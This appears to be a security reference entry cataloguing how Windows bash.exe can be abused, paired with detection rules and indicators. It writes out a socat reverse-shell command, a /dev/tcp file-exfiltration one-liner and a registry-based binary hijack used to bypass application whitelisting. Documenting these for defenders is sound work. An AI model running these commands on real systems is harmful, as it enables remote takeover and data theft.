01 / TRADECRAFT
5 examplesCommand reference
Execute4
EXAMPLE 01T1202
Executes executable from bash.exe
COMMAND
bash.exe -c "{CMD}"EXAMPLE 02T1202
Executes a reverse shell
COMMAND
bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"EXAMPLE 03T1202
Exfiltrate data
COMMAND
bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'EXAMPLE 04T1218
When executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.
COMMAND
bash.exeAWL Bypass1
EXAMPLE 01T1202
Executes executable from bash.exe
COMMAND
bash.exe -c "{CMD}"02 / ON DISK
Known paths
C:\Windows\System32\bash.exeC:\Windows\SysWOW64\bash.exe03 / DEFENSIVE INTELLIGENCE
2 resourcesDetection & indicators
- BlockRulemicrosoft recommended block rulesdocs.microsoft.com
- Sigmaproc_creation_win_lolbin_bash.ymlgithub.com
Indicators & detection notes
- IOC
Child process from bash.exe
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Alex Ionescu@aionescu
Asif Matadar@d1r4c
Liran Ravich, CardinalOps